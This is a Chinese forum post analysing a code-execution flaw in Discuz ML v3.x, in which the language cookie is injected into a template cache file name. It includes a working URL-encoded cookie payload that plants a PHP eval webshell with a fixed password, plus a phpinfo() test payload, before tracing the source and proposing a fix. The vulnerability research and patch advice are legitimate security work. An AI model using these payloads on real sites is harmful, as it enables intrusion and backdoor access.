hyff 发表于 2019-12-20 19:54:36

Discuz Ml v3.x 代码执行分析

很多人喷咱们最近不发技术文章,现在发一个吧,同时欢迎各位多多指教。
Discuz Ml v3.x 代码执行分析
EXP
修改Cookie中的xxxx_language字段为以下内容即可
%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27
访问网站首页则会在根目录下生成木马文件,shell.php 密码为a1
http://p3.pstatp.com/large/pgc-image/36ed316e5aab4f7ca3b33cae79611e22

定位漏洞的位置
解码exp
'.+file_put_contents('shell.php',urldecode('')).
修改exp为_language=1.1.1;使其报错
http://p1.pstatp.com/large/pgc-image/0b089e5219924ccfab8ca4e7f09517b1

定位到653行
http://p3.pstatp.com/large/pgc-image/1c86d8f6ffbf47fc939b8a39445b5a72

关键代码644行
$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
cachefile变量是缓存文件,将其写入到/data/template/目录下,并且由DISCUZ_LANG拼接,追踪下DISCUZ_LANG的值
2088-2096行
global $_G;
if($_G['config']['output']['language'] == 'zh_cn') {
return 'SC_UTF8';
} elseif ($_G['config']['output']['language'] == 'zh_tw') {
return 'TC_UTF8';
} else {
//vot !!!! ToDo: Check this for other languages !!!!!!!!!!!!!!!!!!!!!
/*vot*/ return strtoupper(DISCUZ_LANG) . '_UTF8';
}
可以看到$_G['config']['output']['language']作为DISCUZ_LANG的值
全局搜索['language']
source/class/discuz/discuz_application.php 305行,发现是从cookie中拿到language的值
http://p1.pstatp.com/large/pgc-image/a229eaf97d56493399726b0b89603e44

那么到这里整个漏洞的流程就很明显了,cookie中language参数可控导致DISCUZ_LANG可控,从而导致cachefile的文件名可被注入代码,最终include_once包含一下导致了造成代码执行。
phpinfo验证
Ov1T_2132_language='.phpinfo().';
http://p1.pstatp.com/large/pgc-image/66a7973d831b4cb795af4478db5d2550

修复建议
建议修改source/function/function_core.php 644行为
/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
删除可控变量
其实从漏洞点的注释上来看就知道这是一个未完成的部分,毕竟还是TODO,开发人员得背锅。
页: [1]
查看完整版本: Discuz Ml v3.x 代码执行分析